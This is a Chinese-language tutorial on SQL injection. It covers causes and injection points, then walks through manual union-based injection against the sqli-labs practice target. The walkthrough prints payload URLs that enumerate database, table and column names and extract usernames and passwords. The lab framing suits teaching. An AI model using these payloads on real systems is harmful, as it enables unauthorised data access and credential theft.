网络安全——SQL注入漏洞

2023-10-27

一、SQL注入概述

1、SQL注入漏洞

       攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

2、SQL注入原理

      服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全

实现SQL注入的两个条件:

用户能够控制输入

原本程序要执行的SQL语句,拼接了用户输入的恶意数据

3、SQL注入过程

 4、SQL注入带来的危害

5、SQL注入示例

 

 --空格是注释的意思,注释掉后面的语句

二、SQL注入分类

1、按照注入点类型分类

(1)数字型(整型)注入

 例:sqli-labs的第一关,使用火狐浏览器的hackbar

 

 在靶机地址后加?id=8 and 1=2,没有反应

(2)字符型注入

 字符串注入测试方法

 

(3)搜索型注入

2、按照注入技术(执行效果)分类

三、SQL注入漏洞形成的原因

1、动态字符串构建引起

 2、后台存在的问题

后台无过滤或者编码用户数据

数据库可以拼接用户传递的恶意代码

3、错误处理不当

详细的内部错误信息显示给用户或者攻击者

错误信息可以直接给攻击者提供下一步攻击帮助

4、不安全的数据库配置

四、寻找SQL注入点

1、GET方法

一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中

点击一个链接时,一般会使用该方法

 2、POST方法

POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据

 3、其他注入点

Cookie、Host、User-Agent

4、关于注入点的总结

只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁

五、SQL注入过程

1、手工注入

 利用sqli-labs靶机的第二关

(1)判断是否存在注入点

 

 

 (2)、判断字段长度(也就是表中数据有多少列)

利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用

 

 

 

 到了4就报错,说明有3个字段

(3)、判断字段回显位置

由上一步我们知道有3个字段,我们可以利用union语法,如下图

and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

(4)判断数据库信息和查询数据库名

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

 (5)查询数据表

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)查找数据库表中所有字段以及字段值

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

 

 (7)猜解账号密码

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

 

 

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


这篇文章就写到这里了!

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

网络安全——SQL注入漏洞 的相关文章

  • 索引数量越少意味着插入、更新和删除速度更快? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 在 Oracle 行的多个列上使用透视

    我在 Oracle 表中有以下示例数据 tab1 我正在尝试将行转换为列 我知道如何在某一列上使用 Oracle 数据透视表 但是否可以将其应用于多个列 样本数据 Type weight height A 50 10 A 60 12 B 4
  • POINT 列上的 MySQL INSERT/UPDATE

    我正在尝试用我国家的地理位置填充我的数据库 我的一张表有 4 个字段 ID PK 纬度 经度和地理点 EDIT SCDBs Punto Geografico SET lat 18 469692 SET lon 63 93212 SET g
  • 优化 SQL Server 上的删除

    Deletesql server 上的有时很慢 我经常需要优化它们以减少所需的时间 我一直在谷歌上搜索一些关于如何做到这一点的提示 并且我发现了各种各样的建议 我想知道你最喜欢和最有效的驯服删除野兽的技术 以及它们如何以及为什么起作用 到目
  • 如何在mysql中选择具有相同值集的列?

    我的桌子是 patients pid name city disease did dname has disease did pid 我想列出具有相同疾病组的患者 pid 和 did 分别是患者和疾病表中的主键 并且是 has diseas
  • SQL 错误:“没有这样的表”

    我试图解决为什么我的代码为所有查询返回 null 的原因 最后发现 sql 查询什么也没有返回 我使用简约代码创建了一个新的 AIR 文档 s WindowedApplication
  • 给定“java.sql.SQLIntegrityConstraintViolationException”是否可以确定错误的列

    鉴于我有一个类型为 java sql SQLIntegrityConstraintViolationException 的异常 是否可以以编程方式确定错误的列 或多列 我问这个问题是因为我想将错误映射回客户端的数据模型以指示错误的字段 例如
  • 加密数据库字段的好方法?

    我被要求加密数据库中的各种数据库字段 问题是这些字段在读取后需要解密 我在用着Django and SQL Server 2005 有什么好主意吗 See 在 SQL Server 2005 数据库中使用对称加密 https web arc
  • 如何通过子 POJO 的属性过滤复合 ManyToMany POJO?

    我有两个像这样的房间实体 Entity public class Teacher implements Serializable PrimaryKey autoGenerate true public int id ColumnInfo n
  • H2 用户定义的聚合函数 ListAgg 不能在第一个参数上使用 DISTINCT 或 TRIM()

    所以我有一个 DB2 生产数据库 我需要在其中使用可用的函数 ListAgg 我希望使用 H2 的单元测试能够正确测试此功能 不幸的是H2不直接支持ListAgg 但是 我可以创建一个用户定义的聚合函数 import java sql Co
  • 使用子查询 select 创建新表

    我试图从子查询选择创建一个新表 但出现以下错误 附近的语法不正确 SELECT INTO foo FROM SELECT DATEPART MONTH a InvoiceDate as CalMonth DATEPART YEAR a In
  • 如何从 SQL Server 2008 查询结果中删除“NULL”

    我有一个包含 59 列和超过 17K 行的表 很多行都有NULL在某些列中 我想删除NULL以便查询返回空白 而不是NULL 我可以运行一些更新功能来替换所有NULL with 使用 SQL Server 2008R2 Management
  • 从 Getdate() 获取时间

    我想采取Getdate 结果 例如 2011 10 05 11 26 55 000 into 11 26 55 AM 我看过其他地方并发现 Select RIGHT CONVERT VARCHAR GETDATE 100 7 这给了我 11
  • SQL查询查找表的主键?

    我怎样才能找到哪一列首要的关键使用查询来创建表 这是重复的question https stackoverflow com questions 893874 mysql determine tables primary key dynami
  • MYSQL从每个类别中随机选择一条记录

    我有一个数据库Items表看起来像这样 id name category int 有几十万条记录 每个item可以是 7 种不同的之一categories 对应于categories table id category 我想要一个从每个类别
  • 如何使用 SQL Server 2008 将行复制到同一个表中

    A 到目前为止我的方式 sqlCommand CommandText INSERT Table1 column1 column2 column3 SELECT column1 column2 column3 FROM Table1 WHER
  • 快速将列的副本添加到 MySQL 表

    我需要一种快速的方法来复制表中的 DATETIME 列并为其指定一个新名称 我的表中有一个名为 myDate 的列 名为 myResults 我需要一个查询来在名为 newDate 的表中创建一个新列 该列的数据与 myDate 列完全相同
  • 如何部署“SQL Server Express + EF”应用程序

    这是我第一次部署使用 SQL Server Express 数据库的应用程序 我首先使用实体 框架模型来联系数据库 我使用 Install Shield 创建了一个安装向导来安装应用程序 这些是我在目标计算机中安装应用程序所执行的步骤 安装
  • 如何获取自定义订单的结果? [关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 代替ASC or DESC 我希望我的查询结果采用特定的自定义顺序 例如 如果我想要的结果不是 A B C D 而是 P A L H 该怎么
  • 是否可以引用同一个表中的不同列?

    如果博客有一个 类别 表 如下所示 CREATE TABLE categories id INTEGER PRIMARY KEY AUTO INCREMENT parent id INTEGER NOT NULL name VARCHAR

随机推荐

  • Java实现输出 1000 - 2000 之间所有的闰年

    我之前写过一篇文章 输出1 100之内的素数 其实是差不多的 可以参考一下 https blog csdn net question mark article details 100627185 关于闰年我们知道 有三种情况 分别是普通闰年
  • 软件测试/测试开发丨学习笔记之接口自动化测试

    本文为霍格沃兹测试开发学社学员学习笔记分享 原文链接 https ceshiren com t topic 25120 一 接口自动化测试框架介绍 1 接口测试场景 2 自动化测试场景 3 接口自动化测试与 Web App 自动化测试区别
  • pands 表头字段自适应

    fields Unnamed 0 Unnamed 1 合计 人民币元 美元 合计 1 美元 1 沙特里亚尔 合计 2 人民币元 1 美元 2 沙特里亚尔 1 合计 3 美元 3 沙特里亚尔 2 cleaned sentence a 0 wh
  • 大模型时代,如何评估人工智能与人类智能?

    省时查报告 专业 及时 全面的行研报告库 省时查方案 专业 及时 全面的营销策划方案库 免费下载 2023年8月份全网热门报告合集 ChatGPT提词示例 让你的ChatGPT聪明100倍 超百页干货资料 AI应用的难点 痛点与未来 202
  • 软件测试最新项目合集【商城、外卖、银行、金融等等.......】

    项目一 ShopNC商城 项目概况 ShopNC商城是一个电子商务B2C电商平台系统 功能强大 安全便捷 适合企业及个人快速构建个性化网上商城 包含PC IOS客户端 Adroid客户端 微商城 系统PC 后台是基于ThinkPHP MVC
  • 同一个网站可以放2个服务器吗,两个网站放在同一个服务器 备案

    两个网站放在同一个服务器 备案 内容精选 换一换 介绍常见的安全组配置示例 如下示例中 出方向默认全通 仅介绍入方向规则配置方法 允许外部访问指定端口不同安全组内的弹性云服务器内网互通仅允许特定IP地址远程连接弹性云服务器SSH远程连接Li
  • python语法(高阶)-多线程编程

    演示多线程编程的使用 import time import threading def sing msg while True print msg time sleep 1 return None def dance msg while T
  • vue2+koa2+mongodb分页

    后端 const Koa require koa2 const Router require koa router const Monk require monk 链接mongodb数据库中间件 const app new Koa cons
  • 导入数据库

    导入数据库 数据库表 打开SQL Server数据库 选择数据库单击右键新建一个数据库表
  • Selenium爬虫实战丨Python爬虫实战系列(8)

    个人主页 互联网阿星 格言 选择有时候会大于努力 但你不努力就没得选 作者简介 大家好我是互联网阿星 和我一起合理使用Python 努力做时间的主人 如果觉得博主的文章还不错的话 请点赞 收藏 留言 支持一下博主哦 行业资料 PPT模板 简
  • 每天进步一点点-WPF-根据数据类型加载控件

    目的 根据数据类型的不同 动态的加载适用于不同数据类型的控件 布局 原理 为自定义的数据类型添加数据魔板 绑定的时候绑定这些数据类型的实例 例子 数据类型 数据模板
  • 达尔文商品管理

    什么是达尔文 达尔文是一套全新的商品管理体系 它不同于淘宝原来的分类法 基于类目属性体系 的管理思路 而是以最细粒度的产品节点 CSPU 为核心 使用系统 运营机制的方式维护一套丰富 准确的产品库 通过产品实现聚合 管控商品 以确保商品信息
  • Spring中typeAliasesPackage的作用

    typeAliasesPackage 是自动配置别名 也就是设置这个之后 在Mybatis的Mapper文件里就可以写对应的类名 而不用写全路径名了 例如 typeAliasesPackage xyz hashdog modules bea
  • UE4物体随着样条线(Spline)运动

    1 样条线原理 1 1 贝塞尔曲线 一定要经过起止点 若干个控制点用于控制曲线弯曲的方向 最终形成一条光滑的曲线 由于贝塞尔曲线点太多了不好控制 一般每四个点做一次贝塞尔曲线 得到的若干段相邻贝塞尔曲线的连接点需要共线且距离相同 即为C1连
  • Java 菜鸟入门

    前言 所谓进制转换 就是人们利用符号来计数的方法 进制转换由一组数码符号和两个基本因素 基数 和 位权 所构成 其中基数是指进位计数制中所采用的数码的个数 逢 n 进 1 中的 n 就是基数 而位权则指的是进位制中每一个固定位置所对应的单位
  • Vue PostCss插件——autoprefixer配置完成后无效,已解决

    在使用autoprefixer时 先前的配置能成功添加css浏览器前缀 但结合postcss pxtorem插件后 px可以转换为rem 但css前缀无效 经过几个小时的鼓捣 终于让我发现了蛛丝马迹 哈哈哈 好开心 好激动 一起来看一看博主
  • Vue.js面试题

    目录 1 如何再Vue的单文件组件里的样式定义全局CSS 2 vue router 3 1 0
  • C语言itoa函数实现-数字面值转字符串

    数字面值转字符串 思路 首先判断是否为负数若是则转为正数 将待转换的int类型值每次对10取余获得最低位的数字 将该数字转为字符面值 然后将int类型值除以10 直到等于0结束循环 此时由于是从int类型值的最低位开始取得 所以转换出来的字
  • Vulkan-实践第一弹

    上一篇文章中 我们浅析了Vulkan对传统图形API的优势 主要就是在其性能和精细化操控GPU上 具体可参考Vulkan 性能及精细化 今天我们就来用个简单的例子 亲身感受下Vulkan的开发 魅力 include
  • 网络安全——SQL注入漏洞

    一 SQL注入概述 1 SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽 在输入的数据中包含对某些数据库系统有特殊意义的符号或命令 让攻击者有机会直接对后台数据库系统下达指令 进而实现对后台数据库乃至整个应用系统的入侵 2 S